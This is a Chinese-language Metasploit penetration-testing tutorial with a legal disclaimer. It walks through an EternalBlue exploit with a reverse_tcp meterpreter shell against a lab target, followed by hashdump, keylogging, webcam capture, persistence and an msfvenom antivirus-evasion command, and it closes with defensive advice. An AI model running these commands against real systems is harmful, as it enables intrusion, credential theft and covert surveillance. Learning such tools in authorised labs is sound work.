本文目录导读:

Metasploit 是一个非常强大且广泛使用的渗透测试框架,用于发现、验证和利用安全漏洞,以及进行后渗透测试。
⚠️ 重要法律与道德声明: 在使用 Metasploit 之前,必须严格遵守以下原则:
- 获得明确授权: 只能在你拥有所有权或已获得书面授权的系统、网络或设备上使用 Metasploit。
- 仅限合法用途: 未授权使用属于非法入侵计算机系统,会触犯《刑法》第285条、第286条等法律,构成非法获取计算机信息系统数据罪或破坏计算机信息系统罪。
- 学习环境: 建议在本地虚拟机(如 VirtualBox 或 VMware)中搭建靶机(如 Metasploitable 2/3、DVWA、VulnHub 靶机)或使用 Hack The Box、TryHackMe 等合法平台练习。
基础架构与启动
Metasploit 的核心组件包括:
msfconsole:主交互式控制台(最常用)。- Exploit(漏洞利用模块):攻击代码。
- Payload(有效载荷):攻击成功后执行的代码(如建立远程控制连接)。
- Auxiliary(辅助模块):扫描、嗅探、漏洞验证等。
- Post(后渗透模块):提权、信息收集、驻留等。
- Encoder(编码器):用于绕过杀毒软件的检测。
- Listeners(监听器):等待目标回连的服务。
启动方式:
# 最常用 msfconsole # 带数据库支持(用于存储扫描结果) sudo msfdb init # 首次初始化 sudo msfconsole
工作流程与核心命令
一个典型的渗透测试流程如下:
信息收集与扫描
使用 auxiliary 或 Nmap 集成功能。
# 在 msfconsole 中扫描端口 nmap -sV -Pn 192.168.1.10 # 使用漏洞扫描器 (SMB 漏洞扫描) use auxiliary/scanner/smb/smb_ms17_010 # 永恒之蓝扫描 set RHOSTS 192.168.1.10 run
搜索与选择漏洞利用模块
# 搜索与特定服务/系统相关的漏洞 search eternalblue # 搜索永恒之蓝 search type:exploit platform:windows smb # 使用选中的模块 use exploit/windows/smb/ms17_010_eternalblue
设置参数 (show options)
show options # 查看当前模块需要的参数 # 设置必需参数 set RHOSTS 192.168.1.10 # 目标IP set RPORT 445 # 目标端口 set LHOST 192.168.1.100 # 你的攻击机IP(用于反向连接) set LPORT 4444 # 你的攻击机端口
选择 Payload (攻击载荷)
show payloads # 查看当前漏洞支持的载荷 # 设置一个反向TCP Shell(最常用) set payload windows/x64/meterpreter/reverse_tcp # 再次检查所有参数 show options
执行攻击
# 运行漏洞利用 run 或 exploit
如果成功,你会得到一个 meterpreter 会话。
Meterpreter 常用操作(后渗透)
meterpreter 是 Metasploit 最强大的 payload,可以看作是一个交互式后门,获取会话后:
# 查看当前会话信息 getuid # 查看当前用户 sysinfo # 查看系统信息 # 文件系统操作 pwd # 当前目录 ls # 列出文件 upload /path/local/file C:\\ # 上传文件到目标 download C:\\secret.txt /attacker/ # 下载文件 # 进程与网络 ps # 查看进程列表 migrate -N svchost.exe # 将进程迁移到更隐蔽的进程(如svchost) ifconfig # 查看网络配置 route # 查看路由表 # 提权与持久化 getsystem # 尝试提权到SYSTEM run persistence # 创建持久后门 run post/windows/gather/hashdump # 获取用户密码哈希 screenshot # 截取屏幕 keyscan_start # 开始键盘记录 (需要先迁移进程) keyscan_dump # 获取键盘记录 webcam_snap # 通过摄像头拍照
完整实战演示(以永恒之蓝为例)
前提: 攻击机 Kali Linux (168.1.100),靶机 Windows 7 (168.1.10,未打补丁且445端口开放)。
启动 msfconsole 后操作:
# 1. 扫描确认 nmap --script smb-vuln-ms17-010 -p445 192.168.1.10 # 2. 使用漏洞 use exploit/windows/smb/ms17_010_eternalblue # 3. 设置参数 set RHOSTS 192.168.1.10 set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST 192.168.1.100 set LPORT 4444 # 4. 攻击 (可能需要几秒钟) run # 5. 成功后,进入Meterpreter会话 meterpreter > getuid Server username: NT AUTHORITY\SYSTEM # 直接获得最高权限 meterpreter > sysinfo Computer : WIN7-PC OS : Windows 7 (6.1 Build 7601, x64). meterpreter > hashdump # 转存SAM哈希
常见问题与技巧
-
Payload 无法执行?
- 尝试更换
target(如set target 1或show targets)。 - 使用 staged payload (如
reverse_tcp) 和 stageless payload (如reverse_tcp_stageless) 对比测试。 - 检查防火墙是否阻挡了你的
LPORT。
- 尝试更换
-
会话掉线?
- 使用
background将会话放入后台(回到msfconsole)。 - 用
sessions -i 1重新进入会话(1为会话ID)。
- 使用
-
避开杀毒软件?
- 使用
encoder:use encoder/x86/shikata_ga_nai。 - 使用
msfvenom生成自定义免杀载荷:msfvenom -p windows/meterpreter/reverse_tcp LHOST=... LPORT=... -f exe -o payload.exe -e x86/shikata_ga_nai -i 5。
- 使用
-
数据库管理:
db_status # 查看数据库连接状态 hosts # 列出所有扫描过的主机 services # 列出服务 notes # 查看笔记
安全建议(防御视角)
如果你在维护自己的网络,防止被 Metasploit 攻击:
- 及时打补丁:关闭
ms17_010(永恒之蓝)、printnightmare等高风险漏洞。 - 最小化服务:关闭不需要的端口(如 445、135、139、3389)。
- 使用强密码 并启用账户锁定策略。
- 部署 EDR(端点检测与响应):如 CrowdStrike、SentinelOne,它们能检测 Meterpreter 的典型行为。
- 网络分段:防止攻击从内网漫游。
Metasploit 是渗透测试的核心工具,但能力越大责任越大。请务必在合法授权下使用。 推荐从 TryHackMe 的“Metasploit”房间或免费课程开始系统学习。